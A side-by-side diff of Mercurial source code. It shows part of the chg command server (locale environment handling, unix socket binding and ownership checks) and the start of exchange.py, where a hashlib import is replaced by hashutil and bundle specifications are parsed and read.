558 # When fromui is called via _inithashstate, python has already set
558 # When fromui is called via _inithashstate, python has already set
559 # this, so that's in the environment right when we start up the hg
559 # this, so that's in the environment right when we start up the hg
560 # process. Then chg will call us and tell us to set the environment to
560 # process. Then chg will call us and tell us to set the environment to
561 # the one it has; this might NOT have LC_CTYPE, so we'll need to
561 # the one it has; this might NOT have LC_CTYPE, so we'll need to
562 # carry-forward the LC_CTYPE that was coerced in these situations.
562 # carry-forward the LC_CTYPE that was coerced in these situations.
563 #
563 #
564 # If this is not handled, we will fail config+env validation and fail
564 # If this is not handled, we will fail config+env validation and fail
565 # to start chg. If this is just ignored instead of carried forward, we
565 # to start chg. If this is just ignored instead of carried forward, we
566 # may have different behavior between chg and non-chg.
566 # may have different behavior between chg and non-chg.
567 if pycompat.ispy3:
567 if pycompat.ispy3:
568 # Rename for wordwrapping purposes
568 # Rename for wordwrapping purposes
569 oldenv = encoding.environ
569 oldenv = encoding.environ
570 if not any(
570 if not any(
571 e.get(b'PYTHONCOERCECLOCALE') == b'0' for e in [oldenv, newenv]
571 e.get(b'PYTHONCOERCECLOCALE') == b'0' for e in [oldenv, newenv]
572 ):
572 ):
573 keys = [b'LC_CTYPE', b'LC_ALL', b'LANG']
573 keys = [b'LC_CTYPE', b'LC_ALL', b'LANG']
574 old_keys = [k for k, v in oldenv.items() if k in keys and v]
574 old_keys = [k for k, v in oldenv.items() if k in keys and v]
575 new_keys = [k for k, v in newenv.items() if k in keys and v]
575 new_keys = [k for k, v in newenv.items() if k in keys and v]
576 # If the user's environment (from chg) doesn't have ANY of the
576 # If the user's environment (from chg) doesn't have ANY of the
577 # keys that python looks for, and the environment (from
577 # keys that python looks for, and the environment (from
578 # initialization) has ONLY LC_CTYPE and it's set to C.UTF-8,
578 # initialization) has ONLY LC_CTYPE and it's set to C.UTF-8,
579 # carry it forward.
579 # carry it forward.
580 if (
580 if (
581 not new_keys
581 not new_keys
582 and old_keys == [b'LC_CTYPE']
582 and old_keys == [b'LC_CTYPE']
583 and oldenv[b'LC_CTYPE'] == b'C.UTF-8'
583 and oldenv[b'LC_CTYPE'] == b'C.UTF-8'
584 ):
584 ):
585 newenv[b'LC_CTYPE'] = oldenv[b'LC_CTYPE']
585 newenv[b'LC_CTYPE'] = oldenv[b'LC_CTYPE']
586
586
587 encoding.environ.clear()
587 encoding.environ.clear()
588 encoding.environ.update(newenv)
588 encoding.environ.update(newenv)
589
589
590 capabilities = commandserver.server.capabilities.copy()
590 capabilities = commandserver.server.capabilities.copy()
591 capabilities.update(
591 capabilities.update(
592 {
592 {
593 b'attachio': attachio,
593 b'attachio': attachio,
594 b'chdir': chdir,
594 b'chdir': chdir,
595 b'runcommand': runcommand,
595 b'runcommand': runcommand,
596 b'setenv': setenv,
596 b'setenv': setenv,
597 b'setumask': setumask,
597 b'setumask': setumask,
598 b'setumask2': setumask2,
598 b'setumask2': setumask2,
599 }
599 }
600 )
600 )
601
601
602 if util.safehasattr(procutil, b'setprocname'):
602 if util.safehasattr(procutil, b'setprocname'):
603
603
604 def setprocname(self):
604 def setprocname(self):
605 """Change process title"""
605 """Change process title"""
606 name = self._readstr()
606 name = self._readstr()
607 self.ui.log(b'chgserver', b'setprocname: %r\n', name)
607 self.ui.log(b'chgserver', b'setprocname: %r\n', name)
608 procutil.setprocname(name)
608 procutil.setprocname(name)
609
609
610 capabilities[b'setprocname'] = setprocname
610 capabilities[b'setprocname'] = setprocname
611
611
612
612
613 def _tempaddress(address):
613 def _tempaddress(address):
614 return b'%s.%d.tmp' % (address, os.getpid())
614 return b'%s.%d.tmp' % (address, os.getpid())
615
615
616
616
617 def _hashaddress(address, hashstr):
617 def _hashaddress(address, hashstr):
618 # if the basename of address contains '.', use only the left part. this
618 # if the basename of address contains '.', use only the left part. this
619 # makes it possible for the client to pass 'server.tmp$PID' and follow by
619 # makes it possible for the client to pass 'server.tmp$PID' and follow by
620 # an atomic rename to avoid locking when spawning new servers.
620 # an atomic rename to avoid locking when spawning new servers.
621 dirname, basename = os.path.split(address)
621 dirname, basename = os.path.split(address)
622 basename = basename.split(b'.', 1)[0]
622 basename = basename.split(b'.', 1)[0]
623 return b'%s-%s' % (os.path.join(dirname, basename), hashstr)
623 return b'%s-%s' % (os.path.join(dirname, basename), hashstr)
624
624
625
625
626 class chgunixservicehandler(object):
626 class chgunixservicehandler(object):
627 """Set of operations for chg services"""
627 """Set of operations for chg services"""
628
628
629 pollinterval = 1 # [sec]
629 pollinterval = 1 # [sec]
630
630
631 def __init__(self, ui):
631 def __init__(self, ui):
632 self.ui = ui
632 self.ui = ui
633 self._idletimeout = ui.configint(b'chgserver', b'idletimeout')
633 self._idletimeout = ui.configint(b'chgserver', b'idletimeout')
634 self._lastactive = time.time()
634 self._lastactive = time.time()
635
635
636 def bindsocket(self, sock, address):
636 def bindsocket(self, sock, address):
637 self._inithashstate(address)
637 self._inithashstate(address)
638 self._checkextensions()
638 self._checkextensions()
639 self._bind(sock)
639 self._bind(sock)
640 self._createsymlink()
640 self._createsymlink()
641 # no "listening at" message should be printed to simulate hg behavior
641 # no "listening at" message should be printed to simulate hg behavior
642
642
643 def _inithashstate(self, address):
643 def _inithashstate(self, address):
644 self._baseaddress = address
644 self._baseaddress = address
645 if self.ui.configbool(b'chgserver', b'skiphash'):
645 if self.ui.configbool(b'chgserver', b'skiphash'):
646 self._hashstate = None
646 self._hashstate = None
647 self._realaddress = address
647 self._realaddress = address
648 return
648 return
649 self._hashstate = hashstate.fromui(self.ui)
649 self._hashstate = hashstate.fromui(self.ui)
650 self._realaddress = _hashaddress(address, self._hashstate.confighash)
650 self._realaddress = _hashaddress(address, self._hashstate.confighash)
651
651
652 def _checkextensions(self):
652 def _checkextensions(self):
653 if not self._hashstate:
653 if not self._hashstate:
654 return
654 return
655 if extensions.notloaded():
655 if extensions.notloaded():
656 # one or more extensions failed to load. mtimehash becomes
656 # one or more extensions failed to load. mtimehash becomes
657 # meaningless because we do not know the paths of those extensions.
657 # meaningless because we do not know the paths of those extensions.
658 # set mtimehash to an illegal hash value to invalidate the server.
658 # set mtimehash to an illegal hash value to invalidate the server.
659 self._hashstate.mtimehash = b''
659 self._hashstate.mtimehash = b''
660
660
661 def _bind(self, sock):
661 def _bind(self, sock):
662 # use a unique temp address so we can stat the file and do ownership
662 # use a unique temp address so we can stat the file and do ownership
663 # check later
663 # check later
664 tempaddress = _tempaddress(self._realaddress)
664 tempaddress = _tempaddress(self._realaddress)
665 util.bindunixsocket(sock, tempaddress)
665 util.bindunixsocket(sock, tempaddress)
666 self._socketstat = os.stat(tempaddress)
666 self._socketstat = os.stat(tempaddress)
667 sock.listen(socket.SOMAXCONN)
667 sock.listen(socket.SOMAXCONN)
668 # rename will replace the old socket file if exists atomically. the
668 # rename will replace the old socket file if exists atomically. the
669 # old server will detect ownership change and exit.
669 # old server will detect ownership change and exit.
670 util.rename(tempaddress, self._realaddress)
670 util.rename(tempaddress, self._realaddress)
671
671
672 def _createsymlink(self):
672 def _createsymlink(self):
673 if self._baseaddress == self._realaddress:
673 if self._baseaddress == self._realaddress:
674 return
674 return
675 tempaddress = _tempaddress(self._baseaddress)
675 tempaddress = _tempaddress(self._baseaddress)
676 os.symlink(os.path.basename(self._realaddress), tempaddress)
676 os.symlink(os.path.basename(self._realaddress), tempaddress)
677 util.rename(tempaddress, self._baseaddress)
677 util.rename(tempaddress, self._baseaddress)
678
678
679 def _issocketowner(self):
679 def _issocketowner(self):
680 try:
680 try:
681 st = os.stat(self._realaddress)
681 st = os.stat(self._realaddress)
682 return (
682 return (
683 st.st_ino == self._socketstat.st_ino
683 st.st_ino == self._socketstat.st_ino
684 and st[stat.ST_MTIME] == self._socketstat[stat.ST_MTIME]
684 and st[stat.ST_MTIME] == self._socketstat[stat.ST_MTIME]
685 )
685 )
686 except OSError:
686 except OSError:
687 return False
687 return False
688
688
689 def unlinksocket(self, address):
689 def unlinksocket(self, address):
690 if not self._issocketowner():
690 if not self._issocketowner():
691 return
691 return
692 # it is possible to have a race condition here that we may
692 # it is possible to have a race condition here that we may
693 # remove another server's socket file. but that's okay
693 # remove another server's socket file. but that's okay
694 # since that server will detect and exit automatically and
694 # since that server will detect and exit automatically and
695 # the client will start a new server on demand.
695 # the client will start a new server on demand.
696 util.tryunlink(self._realaddress)
696 util.tryunlink(self._realaddress)
697
697
698 def shouldexit(self):
698 def shouldexit(self):
699 if not self._issocketowner():
699 if not self._issocketowner():
700 self.ui.log(
700 self.ui.log(
701 b'chgserver', b'%s is not owned, exiting.\n', self._realaddress
701 b'chgserver', b'%s is not owned, exiting.\n', self._realaddress
702 )
702 )
703 return True
703 return True
704 if time.time() - self._lastactive > self._idletimeout:
704 if time.time() - self._lastactive > self._idletimeout:
705 self.ui.log(b'chgserver', b'being idle too long. exiting.\n')
705 self.ui.log(b'chgserver', b'being idle too long. exiting.\n')
706 return True
706 return True
707 return False
707 return False
708
708
709 def newconnection(self):
709 def newconnection(self):
710 self._lastactive = time.time()
710 self._lastactive = time.time()
711
711
712 def createcmdserver(self, repo, conn, fin, fout, prereposetups):
712 def createcmdserver(self, repo, conn, fin, fout, prereposetups):
713 return chgcmdserver(
713 return chgcmdserver(
714 self.ui,
714 self.ui,
715 repo,
715 repo,
716 fin,
716 fin,
717 fout,
717 fout,
718 conn,
718 conn,
719 prereposetups,
719 prereposetups,
720 self._hashstate,
720 self._hashstate,
721 self._baseaddress,
721 self._baseaddress,
722 )
722 )
723
723
724
724
725 def chgunixservice(ui, repo, opts):
725 def chgunixservice(ui, repo, opts):
726 # CHGINTERNALMARK is set by chg client. It is an indication of things are
726 # CHGINTERNALMARK is set by chg client. It is an indication of things are
727 # started by chg so other code can do things accordingly, like disabling
727 # started by chg so other code can do things accordingly, like disabling
728 # demandimport or detecting chg client started by chg client. When executed
728 # demandimport or detecting chg client started by chg client. When executed
729 # here, CHGINTERNALMARK is no longer useful and hence dropped to make
729 # here, CHGINTERNALMARK is no longer useful and hence dropped to make
730 # environ cleaner.
730 # environ cleaner.
731 if b'CHGINTERNALMARK' in encoding.environ:
731 if b'CHGINTERNALMARK' in encoding.environ:
732 del encoding.environ[b'CHGINTERNALMARK']
732 del encoding.environ[b'CHGINTERNALMARK']
733
733
734 if repo:
734 if repo:
735 # one chgserver can serve multiple repos. drop repo information
735 # one chgserver can serve multiple repos. drop repo information
736 ui.setconfig(b'bundle', b'mainreporoot', b'', b'repo')
736 ui.setconfig(b'bundle', b'mainreporoot', b'', b'repo')
737 h = chgunixservicehandler(ui)
737 h = chgunixservicehandler(ui)
738 return commandserver.unixforkingservice(ui, repo=None, opts=opts, handler=h)
738 return commandserver.unixforkingservice(ui, repo=None, opts=opts, handler=h)
@@ -1,3098 +1,3100
1 # exchange.py - utility to exchange data between repos.
1 # exchange.py - utility to exchange data between repos.
2 #
2 #
3 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
3 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 from __future__ import absolute_import
8 from __future__ import absolute_import
9
9
10 import collections
10 import collections
11 import hashlib
12
11
13 from .i18n import _
12 from .i18n import _
14 from .node import (
13 from .node import (
15 hex,
14 hex,
16 nullid,
15 nullid,
17 nullrev,
16 nullrev,
18 )
17 )
19 from .thirdparty import attr
18 from .thirdparty import attr
20 from . import (
19 from . import (
21 bookmarks as bookmod,
20 bookmarks as bookmod,
22 bundle2,
21 bundle2,
23 changegroup,
22 changegroup,
24 discovery,
23 discovery,
25 error,
24 error,
26 exchangev2,
25 exchangev2,
27 lock as lockmod,
26 lock as lockmod,
28 logexchange,
27 logexchange,
29 narrowspec,
28 narrowspec,
30 obsolete,
29 obsolete,
31 obsutil,
30 obsutil,
32 phases,
31 phases,
33 pushkey,
32 pushkey,
34 pycompat,
33 pycompat,
35 scmutil,
34 scmutil,
36 sslutil,
35 sslutil,
37 streamclone,
36 streamclone,
38 url as urlmod,
37 url as urlmod,
39 util,
38 util,
40 wireprototypes,
39 wireprototypes,
41 )
40 )
42 from .interfaces import repository
41 from .interfaces import repository
43 from .utils import stringutil
42 from .utils import (
43 hashutil,
44 stringutil,
45 )
44
46
45 urlerr = util.urlerr
47 urlerr = util.urlerr
46 urlreq = util.urlreq
48 urlreq = util.urlreq
47
49
48 _NARROWACL_SECTION = b'narrowacl'
50 _NARROWACL_SECTION = b'narrowacl'
49
51
50 # Maps bundle version human names to changegroup versions.
52 # Maps bundle version human names to changegroup versions.
51 _bundlespeccgversions = {
53 _bundlespeccgversions = {
52 b'v1': b'01',
54 b'v1': b'01',
53 b'v2': b'02',
55 b'v2': b'02',
54 b'packed1': b's1',
56 b'packed1': b's1',
55 b'bundle2': b'02', # legacy
57 b'bundle2': b'02', # legacy
56 }
58 }
57
59
58 # Maps bundle version with content opts to choose which part to bundle
60 # Maps bundle version with content opts to choose which part to bundle
59 _bundlespeccontentopts = {
61 _bundlespeccontentopts = {
60 b'v1': {
62 b'v1': {
61 b'changegroup': True,
63 b'changegroup': True,
62 b'cg.version': b'01',
64 b'cg.version': b'01',
63 b'obsolescence': False,
65 b'obsolescence': False,
64 b'phases': False,
66 b'phases': False,
65 b'tagsfnodescache': False,
67 b'tagsfnodescache': False,
66 b'revbranchcache': False,
68 b'revbranchcache': False,
67 },
69 },
68 b'v2': {
70 b'v2': {
69 b'changegroup': True,
71 b'changegroup': True,
70 b'cg.version': b'02',
72 b'cg.version': b'02',
71 b'obsolescence': False,
73 b'obsolescence': False,
72 b'phases': False,
74 b'phases': False,
73 b'tagsfnodescache': True,
75 b'tagsfnodescache': True,
74 b'revbranchcache': True,
76 b'revbranchcache': True,
75 },
77 },
76 b'packed1': {b'cg.version': b's1'},
78 b'packed1': {b'cg.version': b's1'},
77 }
79 }
78 _bundlespeccontentopts[b'bundle2'] = _bundlespeccontentopts[b'v2']
80 _bundlespeccontentopts[b'bundle2'] = _bundlespeccontentopts[b'v2']
79
81
80 _bundlespecvariants = {
82 _bundlespecvariants = {
81 b"streamv2": {
83 b"streamv2": {
82 b"changegroup": False,
84 b"changegroup": False,
83 b"streamv2": True,
85 b"streamv2": True,
84 b"tagsfnodescache": False,
86 b"tagsfnodescache": False,
85 b"revbranchcache": False,
87 b"revbranchcache": False,
86 }
88 }
87 }
89 }
88
90
89 # Compression engines allowed in version 1. THIS SHOULD NEVER CHANGE.
91 # Compression engines allowed in version 1. THIS SHOULD NEVER CHANGE.
90 _bundlespecv1compengines = {b'gzip', b'bzip2', b'none'}
92 _bundlespecv1compengines = {b'gzip', b'bzip2', b'none'}
91
93
92
94
93 @attr.s
95 @attr.s
94 class bundlespec(object):
96 class bundlespec(object):
95 compression = attr.ib()
97 compression = attr.ib()
96 wirecompression = attr.ib()
98 wirecompression = attr.ib()
97 version = attr.ib()
99 version = attr.ib()
98 wireversion = attr.ib()
100 wireversion = attr.ib()
99 params = attr.ib()
101 params = attr.ib()
100 contentopts = attr.ib()
102 contentopts = attr.ib()
101
103
102
104
103 def parsebundlespec(repo, spec, strict=True):
105 def parsebundlespec(repo, spec, strict=True):
104 """Parse a bundle string specification into parts.
106 """Parse a bundle string specification into parts.
105
107
106 Bundle specifications denote a well-defined bundle/exchange format.
108 Bundle specifications denote a well-defined bundle/exchange format.
107 The content of a given specification should not change over time in
109 The content of a given specification should not change over time in
108 order to ensure that bundles produced by a newer version of Mercurial are
110 order to ensure that bundles produced by a newer version of Mercurial are
109 readable from an older version.
111 readable from an older version.
110
112
111 The string currently has the form:
113 The string currently has the form:
112
114
113 <compression>-<type>[;<parameter0>[;<parameter1>]]
115 <compression>-<type>[;<parameter0>[;<parameter1>]]
114
116
115 Where <compression> is one of the supported compression formats
117 Where <compression> is one of the supported compression formats
116 and <type> is (currently) a version string. A ";" can follow the type and
118 and <type> is (currently) a version string. A ";" can follow the type and
117 all text afterwards is interpreted as URI encoded, ";" delimited key=value
119 all text afterwards is interpreted as URI encoded, ";" delimited key=value
118 pairs.
120 pairs.
119
121
120 If ``strict`` is True (the default) <compression> is required. Otherwise,
122 If ``strict`` is True (the default) <compression> is required. Otherwise,
121 it is optional.
123 it is optional.
122
124
123 Returns a bundlespec object of (compression, version, parameters).
125 Returns a bundlespec object of (compression, version, parameters).
124 Compression will be ``None`` if not in strict mode and a compression isn't
126 Compression will be ``None`` if not in strict mode and a compression isn't
125 defined.
127 defined.
126
128
127 An ``InvalidBundleSpecification`` is raised when the specification is
129 An ``InvalidBundleSpecification`` is raised when the specification is
128 not syntactically well formed.
130 not syntactically well formed.
129
131
130 An ``UnsupportedBundleSpecification`` is raised when the compression or
132 An ``UnsupportedBundleSpecification`` is raised when the compression or
131 bundle type/version is not recognized.
133 bundle type/version is not recognized.
132
134
133 Note: this function will likely eventually return a more complex data
135 Note: this function will likely eventually return a more complex data
134 structure, including bundle2 part information.
136 structure, including bundle2 part information.
135 """
137 """
136
138
137 def parseparams(s):
139 def parseparams(s):
138 if b';' not in s:
140 if b';' not in s:
139 return s, {}
141 return s, {}
140
142
141 params = {}
143 params = {}
142 version, paramstr = s.split(b';', 1)
144 version, paramstr = s.split(b';', 1)
143
145
144 for p in paramstr.split(b';'):
146 for p in paramstr.split(b';'):
145 if b'=' not in p:
147 if b'=' not in p:
146 raise error.InvalidBundleSpecification(
148 raise error.InvalidBundleSpecification(
147 _(
149 _(
148 b'invalid bundle specification: '
150 b'invalid bundle specification: '
149 b'missing "=" in parameter: %s'
151 b'missing "=" in parameter: %s'
150 )
152 )
151 % p
153 % p
152 )
154 )
153
155
154 key, value = p.split(b'=', 1)
156 key, value = p.split(b'=', 1)
155 key = urlreq.unquote(key)
157 key = urlreq.unquote(key)
156 value = urlreq.unquote(value)
158 value = urlreq.unquote(value)
157 params[key] = value
159 params[key] = value
158
160
159 return version, params
161 return version, params
160
162
161 if strict and b'-' not in spec:
163 if strict and b'-' not in spec:
162 raise error.InvalidBundleSpecification(
164 raise error.InvalidBundleSpecification(
163 _(
165 _(
164 b'invalid bundle specification; '
166 b'invalid bundle specification; '
165 b'must be prefixed with compression: %s'
167 b'must be prefixed with compression: %s'
166 )
168 )
167 % spec
169 % spec
168 )
170 )
169
171
170 if b'-' in spec:
172 if b'-' in spec:
171 compression, version = spec.split(b'-', 1)
173 compression, version = spec.split(b'-', 1)
172
174
173 if compression not in util.compengines.supportedbundlenames:
175 if compression not in util.compengines.supportedbundlenames:
174 raise error.UnsupportedBundleSpecification(
176 raise error.UnsupportedBundleSpecification(
175 _(b'%s compression is not supported') % compression
177 _(b'%s compression is not supported') % compression
176 )
178 )
177
179
178 version, params = parseparams(version)
180 version, params = parseparams(version)
179
181
180 if version not in _bundlespeccgversions:
182 if version not in _bundlespeccgversions:
181 raise error.UnsupportedBundleSpecification(
183 raise error.UnsupportedBundleSpecification(
182 _(b'%s is not a recognized bundle version') % version
184 _(b'%s is not a recognized bundle version') % version
183 )
185 )
184 else:
186 else:
185 # Value could be just the compression or just the version, in which
187 # Value could be just the compression or just the version, in which
186 # case some defaults are assumed (but only when not in strict mode).
188 # case some defaults are assumed (but only when not in strict mode).
187 assert not strict
189 assert not strict
188
190
189 spec, params = parseparams(spec)
191 spec, params = parseparams(spec)
190
192
191 if spec in util.compengines.supportedbundlenames:
193 if spec in util.compengines.supportedbundlenames:
192 compression = spec
194 compression = spec
193 version = b'v1'
195 version = b'v1'
194 # Generaldelta repos require v2.
196 # Generaldelta repos require v2.
195 if b'generaldelta' in repo.requirements:
197 if b'generaldelta' in repo.requirements:
196 version = b'v2'
198 version = b'v2'
197 # Modern compression engines require v2.
199 # Modern compression engines require v2.
198 if compression not in _bundlespecv1compengines:
200 if compression not in _bundlespecv1compengines:
199 version = b'v2'
201 version = b'v2'
200 elif spec in _bundlespeccgversions:
202 elif spec in _bundlespeccgversions:
201 if spec == b'packed1':
203 if spec == b'packed1':
202 compression = b'none'
204 compression = b'none'
203 else:
205 else:
204 compression = b'bzip2'
206 compression = b'bzip2'
205 version = spec
207 version = spec
206 else:
208 else:
207 raise error.UnsupportedBundleSpecification(
209 raise error.UnsupportedBundleSpecification(
208 _(b'%s is not a recognized bundle specification') % spec
210 _(b'%s is not a recognized bundle specification') % spec
209 )
211 )
210
212
211 # Bundle version 1 only supports a known set of compression engines.
213 # Bundle version 1 only supports a known set of compression engines.
212 if version == b'v1' and compression not in _bundlespecv1compengines:
214 if version == b'v1' and compression not in _bundlespecv1compengines:
213 raise error.UnsupportedBundleSpecification(
215 raise error.UnsupportedBundleSpecification(
214 _(b'compression engine %s is not supported on v1 bundles')
216 _(b'compression engine %s is not supported on v1 bundles')
215 % compression
217 % compression
216 )
218 )
217
219
218 # The specification for packed1 can optionally declare the data formats
220 # The specification for packed1 can optionally declare the data formats
219 # required to apply it. If we see this metadata, compare against what the
221 # required to apply it. If we see this metadata, compare against what the
220 # repo supports and error if the bundle isn't compatible.
222 # repo supports and error if the bundle isn't compatible.
221 if version == b'packed1' and b'requirements' in params:
223 if version == b'packed1' and b'requirements' in params:
222 requirements = set(params[b'requirements'].split(b','))
224 requirements = set(params[b'requirements'].split(b','))
223 missingreqs = requirements - repo.supportedformats
225 missingreqs = requirements - repo.supportedformats
224 if missingreqs:
226 if missingreqs:
225 raise error.UnsupportedBundleSpecification(
227 raise error.UnsupportedBundleSpecification(
226 _(b'missing support for repository features: %s')
228 _(b'missing support for repository features: %s')
227 % b', '.join(sorted(missingreqs))
229 % b', '.join(sorted(missingreqs))
228 )
230 )
229
231
230 # Compute contentopts based on the version
232 # Compute contentopts based on the version
231 contentopts = _bundlespeccontentopts.get(version, {}).copy()
233 contentopts = _bundlespeccontentopts.get(version, {}).copy()
232
234
233 # Process the variants
235 # Process the variants
234 if b"stream" in params and params[b"stream"] == b"v2":
236 if b"stream" in params and params[b"stream"] == b"v2":
235 variant = _bundlespecvariants[b"streamv2"]
237 variant = _bundlespecvariants[b"streamv2"]
236 contentopts.update(variant)
238 contentopts.update(variant)
237
239
238 engine = util.compengines.forbundlename(compression)
240 engine = util.compengines.forbundlename(compression)
239 compression, wirecompression = engine.bundletype()
241 compression, wirecompression = engine.bundletype()
240 wireversion = _bundlespeccgversions[version]
242 wireversion = _bundlespeccgversions[version]
241
243
242 return bundlespec(
244 return bundlespec(
243 compression, wirecompression, version, wireversion, params, contentopts
245 compression, wirecompression, version, wireversion, params, contentopts
244 )
246 )
245
247
246
248
247 def readbundle(ui, fh, fname, vfs=None):
249 def readbundle(ui, fh, fname, vfs=None):
248 header = changegroup.readexactly(fh, 4)
250 header = changegroup.readexactly(fh, 4)
249
251
250 alg = None
252 alg = None
251 if not fname:
253 if not fname:
252 fname = b"stream"
254 fname = b"stream"
253 if not header.startswith(b'HG') and header.startswith(b'\0'):
255 if not header.startswith(b'HG') and header.startswith(b'\0'):
254 fh = changegroup.headerlessfixup(fh, header)
256 fh = changegroup.headerlessfixup(fh, header)
255 header = b"HG10"
257 header = b"HG10"
256 alg = b'UN'
258 alg = b'UN'
257 elif vfs:
259 elif vfs:
258 fname = vfs.join(fname)
260 fname = vfs.join(fname)
259
261
260 magic, version = header[0:2], header[2:4]
262 magic, version = header[0:2], header[2:4]
261
263
262 if magic != b'HG':
264 if magic != b'HG':
263 raise error.Abort(_(b'%s: not a Mercurial bundle') % fname)
265 raise error.Abort(_(b'%s: not a Mercurial bundle') % fname)
264 if version == b'10':
266 if version == b'10':
265 if alg is None:
267 if alg is None:
266 alg = changegroup.readexactly(fh, 2)
268 alg = changegroup.readexactly(fh, 2)
267 return changegroup.cg1unpacker(fh, alg)
269 return changegroup.cg1unpacker(fh, alg)
268 elif version.startswith(b'2'):
270 elif version.startswith(b'2'):
269 return bundle2.getunbundler(ui, fh, magicstring=magic + version)
271 return bundle2.getunbundler(ui, fh, magicstring=magic + version)
270 elif version == b'S1':
272 elif version == b'S1':
271 return streamclone.streamcloneapplier(fh)
273 return streamclone.streamcloneapplier(fh)
272 else:
274 else:
273 raise error.Abort(
275 raise error.Abort(
274 _(b'%s: unknown bundle version %s') % (fname, version)
276 _(b'%s: unknown bundle version %s') % (fname, version)
275 )
277 )
276
278
277
279
278 def getbundlespec(ui, fh):
280 def getbundlespec(ui, fh):
279 """Infer the bundlespec from a bundle file handle.
281 """Infer the bundlespec from a bundle file handle.
280
282
281 The input file handle is seeked and the original seek position is not
283 The input file handle is seeked and the original seek position is not
282 restored.
284 restored.
283 """
285 """
284
286
285 def speccompression(alg):
287 def speccompression(alg):
286 try:
288 try:
287 return util.compengines.forbundletype(alg).bundletype()[0]
289 return util.compengines.forbundletype(alg).bundletype()[0]
288 except KeyError:
290 except KeyError:
289 return None
291 return None
290
292
291 b = readbundle(ui, fh, None)
293 b = readbundle(ui, fh, None)
292 if isinstance(b, changegroup.cg1unpacker):
294 if isinstance(b, changegroup.cg1unpacker):
293 alg = b._type
295 alg = b._type
294 if alg == b'_truncatedBZ':
296 if alg == b'_truncatedBZ':
295 alg = b'BZ'
297 alg = b'BZ'
296 comp = speccompression(alg)
298 comp = speccompression(alg)
297 if not comp:
299 if not comp:
298 raise error.Abort(_(b'unknown compression algorithm: %s') % alg)
300 raise error.Abort(_(b'unknown compression algorithm: %s') % alg)
299 return b'%s-v1' % comp
301 return b'%s-v1' % comp
300 elif isinstance(b, bundle2.unbundle20):
302 elif isinstance(b, bundle2.unbundle20):
301 if b'Compression' in b.params:
303 if b'Compression' in b.params:
302 comp = speccompression(b.params[b'Compression'])
304 comp = speccompression(b.params[b'Compression'])
303 if not comp:
305 if not comp:
304 raise error.Abort(
306 raise error.Abort(
305 _(b'unknown compression algorithm: %s') % comp
307 _(b'unknown compression algorithm: %s') % comp
306 )
308 )
307 else:
309 else:
308 comp = b'none'
310 comp = b'none'
309
311
310 version = None
312 version = None
311 for part in b.iterparts():
313 for part in b.iterparts():
312 if part.type == b'changegroup':
314 if part.type == b'changegroup':
313 version = part.params[b'version']
315 version = part.params[b'version']
314 if version in (b'01', b'02'):
316 if version in (b'01', b'02'):
315 version = b'v2'
317 version = b'v2'
316 else:
318 else:
317 raise error.Abort(
319 raise error.Abort(
318 _(
320 _(
319 b'changegroup version %s does not have '
321 b'changegroup version %s does not have '
320 b'a known bundlespec'
322 b'a known bundlespec'
321 )
323 )
322 % version,
324 % version,
323 hint=_(b'try upgrading your Mercurial client'),
325 hint=_(b'try upgrading your Mercurial client'),
324 )
326 )
325 elif part.type == b'stream2' and version is None:
327 elif part.type == b'stream2' and version is None:
326 # A stream2 part requires to be part of a v2 bundle
328 # A stream2 part requires to be part of a v2 bundle
327 requirements = urlreq.unquote(part.params[b'requirements'])
329 requirements = urlreq.unquote(part.params[b'requirements'])
328 splitted = requirements.split()
330 splitted = requirements.split()
329 params = bundle2._formatrequirementsparams(splitted)
331 params = bundle2._formatrequirementsparams(splitted)
330 return b'none-v2;stream=v2;%s' % params
332 return b'none-v2;stream=v2;%s' % params
331
333
332 if not version:
334 if not version:
333 raise error.Abort(
335 raise error.Abort(
334 _(b'could not identify changegroup version in bundle')
336 _(b'could not identify changegroup version in bundle')
335 )
337 )
336
338
337 return b'%s-%s' % (comp, version)
339 return b'%s-%s' % (comp, version)
338 elif isinstance(b, streamclone.streamcloneapplier):
340 elif isinstance(b, streamclone.streamcloneapplier):
339 requirements = streamclone.readbundle1header(fh)[2]
341 requirements = streamclone.readbundle1header(fh)[2]
340 formatted = bundle2._formatrequirementsparams(requirements)
342 formatted = bundle2._formatrequirementsparams(requirements)
341 return b'none-packed1;%s' % formatted
343 return b'none-packed1;%s' % formatted
342 else:
344 else:
343 raise error.Abort(_(b'unknown bundle type: %s') % b)
345 raise error.Abort(_(b'unknown bundle type: %s') % b)
344
346
345
347
346 def _computeoutgoing(repo, heads, common):
348 def _computeoutgoing(repo, heads, common):
347 """Computes which revs are outgoing given a set of common
349 """Computes which revs are outgoing given a set of common
348 and a set of heads.
350 and a set of heads.
349
351
350 This is a separate function so extensions can have access to
352 This is a separate function so extensions can have access to
351 the logic.
353 the logic.
352
354
353 Returns a discovery.outgoing object.
355 Returns a discovery.outgoing object.
354 """
356 """
355 cl = repo.changelog
357 cl = repo.changelog
356 if common:
358 if common:
357 hasnode = cl.hasnode
359 hasnode = cl.hasnode
358 common = [n for n in common if hasnode(n)]
360 common = [n for n in common if hasnode(n)]
359 else:
361 else:
360 common = [nullid]
362 common = [nullid]
361 if not heads:
363 if not heads:
362 heads = cl.heads()
364 heads = cl.heads()
363 return discovery.outgoing(repo, common, heads)
365 return discovery.outgoing(repo, common, heads)
364
366
365
367
366 def _checkpublish(pushop):
368 def _checkpublish(pushop):
367 repo = pushop.repo
369 repo = pushop.repo
368 ui = repo.ui
370 ui = repo.ui
369 behavior = ui.config(b'experimental', b'auto-publish')
371 behavior = ui.config(b'experimental', b'auto-publish')
370 if pushop.publish or behavior not in (b'warn', b'confirm', b'abort'):
372 if pushop.publish or behavior not in (b'warn', b'confirm', b'abort'):
371 return
373 return
372 remotephases = listkeys(pushop.remote, b'phases')
374 remotephases = listkeys(pushop.remote, b'phases')
373 if not remotephases.get(b'publishing', False):
375 if not remotephases.get(b'publishing', False):
374 return
376 return
375
377
376 if pushop.revs is None:
378 if pushop.revs is None:
377 published = repo.filtered(b'served').revs(b'not public()')
379 published = repo.filtered(b'served').revs(b'not public()')
378 else:
380 else:
379 published = repo.revs(b'::%ln - public()', pushop.revs)
381 published = repo.revs(b'::%ln - public()', pushop.revs)
380 if published:
382 if published:
381 if behavior == b'warn':
383 if behavior == b'warn':
382 ui.warn(
384 ui.warn(
383 _(b'%i changesets about to be published\n') % len(published)
385 _(b'%i changesets about to be published\n') % len(published)
384 )
386 )
